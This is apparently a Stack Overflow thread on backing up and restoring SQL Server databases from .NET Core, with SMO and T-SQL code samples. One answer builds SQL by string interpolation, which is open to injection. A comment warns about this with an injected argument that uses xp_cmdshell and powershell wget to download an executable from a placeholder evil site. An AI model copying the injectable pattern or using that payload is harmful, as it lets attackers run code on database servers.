11

I want to restore a SQL Server database (.bak) using .NET Core. Here is my empty website on GitHub so you can see the current config.

Restoring a database is fairly simple in the full .NET Framework - as can bee seen here.

Is there a way to do it from .NET Core directly, or will I need to reference the .NET Framework and use a .NET Framework class library?

No matter how I try, I can't get it to work.

EDIT

I tried adding SQLManagementObject, but can't. I'm on .NET Core 2.0.

enter image description here

EDIT 2

Our old projects are largely ADO.NET. They use (extensively) the following DLL's that I cannot bring into my .NET Core Project:

  • Microsoft.SqlServer.ConnectionInfo
  • Microsoft.SqlServer.Smo
  • Microsoft.SqlServer.SmoExtended
  • Microsoft.SqlServer.Management.Sdk.Sfc
JsAndDotNet
  • 16,260
  • 18
  • 100
  • 123
  • Did you try to run that code under .NET Core? What happened? If you didn't try, why are you asking us? – Camilo Terevinto May 09 '18 at 13:25
  • Yes - No references available... and whoever downvoted - that's a bit harsh. I cannot find the answer for this anywhere! – JsAndDotNet May 09 '18 at 13:26
  • 1
    I don't think you have searched quite enough: https://www.nuget.org/packages/Microsoft.SqlServer.SqlManagementObjects/ (note the ".NETCoreApp 2.0" under dependencies) – Camilo Terevinto May 09 '18 at 13:30
  • 5
    When in doubt you can just issue the restore database sql command – BugFinder May 09 '18 at 13:32
  • @CamiloTerevinto - I tried. I get `Package 'Microsoft.SqlServer.SqlManagementObjects' is incompatible with 'all' frameworks in project` .I'm on .NET Core 2 – JsAndDotNet May 09 '18 at 13:36
  • can you share a small version of your repo (with secrets/important business stuff removed) which recreates the issue? My initial feeling is the `TargetFramework` tag in one of your projects is causing the issue – Jamie Taylor May 09 '18 at 14:27
  • 4
    Use the T-SQL interface instead: https://learn.microsoft.com/en-us/sql/t-sql/statements/restore-statements-transact-sql?view=sql-server-2017 – Ben May 09 '18 at 14:42
  • @JamieTaylor - its a super simple project. Have put a copy on github - https://github.com/HockeyJustin/dotnetcoresqlserver – JsAndDotNet May 09 '18 at 15:07
  • 2
    I think, Ben has your answer: create a Command, glue together a RESTORE DATABASE name_of_db FROM DISK = 'where_ever.bak' and execute that. – ralf.w. May 25 '18 at 13:29

3 Answers3

16

UPDATE: With .Net Core 2.0 you can use Microsoft.SqlServer.SqlManagementObjects (140.17265.0). SQL Server Management Objects (SMO) Framework You can use SQL SMO under Windows and Linux.

Microsoft.SqlServer.SqlManagementObjects depends on System.Data.SqlClient (4.5.0)

Simple SMO backup example:

            ServerConnection serverConnection = new ServerConnection("192.168.1.1", "user", "password");
            Server server = new Server(serverConnection);
            Database database = server.Databases["AdventureWorks"];
            Backup backup = new Backup();
            backup.Action = BackupActionType.Database;
            backup.BackupSetDescription = "AdventureWorks - full backup";
            backup.BackupSetName = "AdventureWorks backup";
            backup.Database = "AdventureWorks";

            BackupDeviceItem deviceItem = new BackupDeviceItem("AdventureWorks_Full_Backup.bak", DeviceType.File);
            backup.Devices.Add(deviceItem);
            backup.Incremental = false;
            backup.LogTruncation = BackupTruncateLogType.Truncate;
            backup.SqlBackup(server);

In .NetCore to backup/restore SQL Server database you can use common ADO.NET SqlConnection and SqlCommand objects. To customize backup/restore you need know the syntax of T-SQL BACKUP/RESTORE statements. Please consult with

RESTORE Statements (T-SQL)

BACKUP Statements (T-SQL)

using System;
using System.Data;
using System.Data.SqlClient;

namespace BackupRestore
{
    class Program
    {
        static void Main(string[] args)
        {
            BackupDatabase("test", @"C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\Backup\test.bak");
            RestoreDatabase("test", @"C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\Backup\test.bak");
        }

        private static void RestoreDatabase(string databaseName, string backupPath)
        {
            string commandText = $@"USE [master];
    ALTER DATABASE [{databaseName}] SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
    RESTORE DATABASE [{databaseName}] FROM DISK = N'{backupPath}' WITH FILE = 1, NOUNLOAD, REPLACE, STATS = 5;
    ALTER DATABASE [{databaseName}] SET MULTI_USER;";

            SqlConnectionStringBuilder connectionStringBuilder = new SqlConnectionStringBuilder
            {
                DataSource = "localhost",
                InitialCatalog = "master",
                IntegratedSecurity = true
            };
            using (SqlConnection connection = new SqlConnection(connectionStringBuilder.ConnectionString))
            {
                connection.Open();
                connection.InfoMessage += Connection_InfoMessage;
                using (SqlCommand command = connection.CreateCommand())
                {
                    command.CommandText = commandText;
                    command.CommandType = CommandType.Text;
                    command.ExecuteNonQuery();
                }
            }
        }

        private static void BackupDatabase(string databaseName, string backupPath)
        {
            string commandText = $@"BACKUP DATABASE [{databaseName}] TO DISK = N'{backupPath}' WITH NOFORMAT, INIT, NAME = N'{databaseName}-Full Database Backup', SKIP, NOREWIND, NOUNLOAD,  STATS = 10";

            SqlConnectionStringBuilder connectionStringBuilder = new SqlConnectionStringBuilder
            {
                DataSource = "localhost",
                InitialCatalog = "master",
                IntegratedSecurity = true
            };
            using (SqlConnection connection = new SqlConnection(connectionStringBuilder.ConnectionString))
            {
                connection.Open();
                connection.InfoMessage += Connection_InfoMessage;
                using (SqlCommand command = connection.CreateCommand())
                {
                    command.CommandText = commandText;
                    command.CommandType = CommandType.Text;
                    command.ExecuteNonQuery();
                }
            }
        }

        private static void Connection_InfoMessage(object sender, SqlInfoMessageEventArgs e)
        {
            Console.WriteLine(e.Message);
        }
    }
}

To RESTORE a database with new name for example newtest, you need execute next statement

RESTORE DATABASE [newtest] 
FROM  DISK = N'C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\Backup\test.bak' WITH  FILE = 1,  
MOVE N'test' TO N'C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\newtest.mdf',  
MOVE N'test_log' TO N'C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\newtest_log.ldf',  NOUNLOAD,  STATS = 5
Dmitry Kolchev
  • 2,116
  • 14
  • 16
  • 3
    I’ve found this to be the best solution, however string interpolation DOES NOT protect against SQL/CLI injection attacks. Think about: BackupDatabase("test", @"'''; exec xp_cmdshell 'powershell wget ""https://{EvilWebsite}"" -outfile {EvilFile }.exe'; --"); Please think carefully about how you execute SQL. NOTE: My example is broken by design. But it should be enough to give you then general idea. – James Moody May 30 '18 at 17:24
  • 1
    You are absolutely right! To be short this example does not contain parameter validation. – Dmitry Kolchev May 30 '18 at 18:23
3

You should not use SMO, SMO is created for those that would like to manage SQL server in a "manage SQL server type application", you're bound to run into versioning issues that you would not have when using simple TSQL commands. TSQL commands work quite well on .net Core.

One thing I'd like to mention is that you're opening your application to some troubling permissions.

  1. you need to set your database into single user mode before you can restore your database when you do that your web-user will be able to continue doing what it is doing (update, delete, insert) all this will alter the transaction log and will mess-up something (opt-out of some legal option, do a payment, cancel something...).
  2. Are you happy with the web user being able to set it in single user mode or restore a database, could be quite malicious?
  3. The web user will need elevated privileges to be able to pull this off, I can imagine someone using this to backup a database to a public folder and just grab if of your web server. Our Firewall logs show this type of attack vector on a daily basis ("they" do not know we do not use this).

if you need to restore your database you perhaps pass this over to another task set up for this. you can then have this "pooling task" deal with this.

Let assume you accept my concerns mentioned above (not a compleat list) and you would entertain the idea that you would like to offload this I would suggest you use a Task in SQL server for this. You can schedule these tasks to run ever ... second/ minute/ day even loop them.

You can have "N" steps in a task, 1 Step you use to "test for the restore condition" he following steps you use to do the restore in a managed way, when you're done you update a log/ send a mail etc.

When using a task you can run it using a user with the appropriate rights and when setting the database in single user mode your website will lose its connection and will be forced to wait for the restore job to restore the database state.

For you to be able to use SQL jobs you will need to make sure that this is activated on the server.

As per the content of your task, the TSQL statement if you would like to could look something like this, please note you need to validate that the backup file reported by SQL server actually exists, this used master.sys.xp_cmdshell for that:

USE Master; 
GO  
SET NOCOUNT ON 

-- 1 - Variable declaration 
DECLARE @dbName sysname 
DECLARE @backupPath NVARCHAR(500) 
DECLARE @cmd NVARCHAR(500) 
DECLARE @fileList TABLE (backupFile NVARCHAR(255)) 
DECLARE @lastFullBackup NVARCHAR(500) 
DECLARE @lastDiffBackup NVARCHAR(500) 
DECLARE @backupFile NVARCHAR(500) 

-- 2 - Initialize variables 
SET @dbName = 'Customer' 
SET @backupPath = 'D:\SQLBackups\' 

-- 3 - get list of files 
SET @cmd = 'DIR /b "' + @backupPath + '"'

INSERT INTO @fileList(backupFile) 
EXEC master.sys.xp_cmdshell @cmd 

-- 4 - Find latest full backup 
SELECT @lastFullBackup = MAX(backupFile)  
FROM @fileList  
WHERE backupFile LIKE '%.BAK'  
   AND backupFile LIKE @dbName + '%' 

SET @cmd = 'RESTORE DATABASE [' + @dbName + '] FROM DISK = '''  
       + @backupPath + @lastFullBackup + ''' WITH NORECOVERY, REPLACE' 
PRINT @cmd 

-- 4 - Find latest diff backup 
SELECT @lastDiffBackup = MAX(backupFile)  
FROM @fileList  
WHERE backupFile LIKE '%.DIF'  
   AND backupFile LIKE @dbName + '%' 
   AND backupFile > @lastFullBackup 

-- check to make sure there is a diff backup 
IF @lastDiffBackup IS NOT NULL 
BEGIN 
   SET @cmd = 'RESTORE DATABASE [' + @dbName + '] FROM DISK = '''  
       + @backupPath + @lastDiffBackup + ''' WITH NORECOVERY' 
   PRINT @cmd 
   SET @lastFullBackup = @lastDiffBackup 
END 

-- 5 - check for log backups 
DECLARE backupFiles CURSOR FOR  
   SELECT backupFile  
   FROM @fileList 
   WHERE backupFile LIKE '%.TRN'  
   AND backupFile LIKE @dbName + '%' 
   AND backupFile > @lastFullBackup 

OPEN backupFiles  

-- Loop through all the files for the database  
FETCH NEXT FROM backupFiles INTO @backupFile  

WHILE @@FETCH_STATUS = 0  
BEGIN  
   SET @cmd = 'RESTORE LOG [' + @dbName + '] FROM DISK = '''  
       + @backupPath + @backupFile + ''' WITH NORECOVERY' 
   PRINT @cmd 
   FETCH NEXT FROM backupFiles INTO @backupFile  
END 

CLOSE backupFiles  
DEALLOCATE backupFiles  

-- 6 - put database in a useable state 
SET @cmd = 'RESTORE DATABASE [' + @dbName + '] WITH RECOVERY' 
PRINT @cmd 

A safer way to do this is to query the server and hope the location is valid:

SELECT
    bs.database_name,
    bs.backup_start_date,
    bmf.physical_device_name
FROM
    msdb.dbo.backupmediafamily bmf
    JOIN
    msdb.dbo.backupset bs ON bs.media_set_id = bmf.media_set_id
WHERE
    bs.database_name = 'MyDB'
ORDER BY
    bmf.media_set_id DESC;

both methods will fail if the source is on tape or hosted in an Amazon or Microsoft cloud.

Walter Verhoeven
  • 3,867
  • 27
  • 36
  • Can you elaborate on the versioning issues? – Stewart Adam Jun 17 '19 at 14:37
  • When SQL server generates a new API for SMO the management object that you communicate with may be subject to changes, also, there is no issue with getting SQL 7 and SQL 2017 on the same box... what SMO will you take? TSQL will work 100% of the time and you can query the version to alter your statements. – Walter Verhoeven Jun 20 '19 at 10:22
-1

It looks like the answer is in the comments:

https://www.nuget.org/packages/Microsoft.SqlServer.SqlManagementObjects in the Dependencies section lists ".NETCoreApp 2.0" meaning it is a .NET Core assembly. Since it depends on https://www.nuget.org/packages/System.Data.SqlClient/ and that depends on https://www.nuget.org/packages/Microsoft.Win32.Registry/ it'll only work on Windows, though it will work on .NET Core.

Alternatively, use T-SQL statements executed through SqlCommand.

robrich
  • 13,017
  • 7
  • 36
  • 63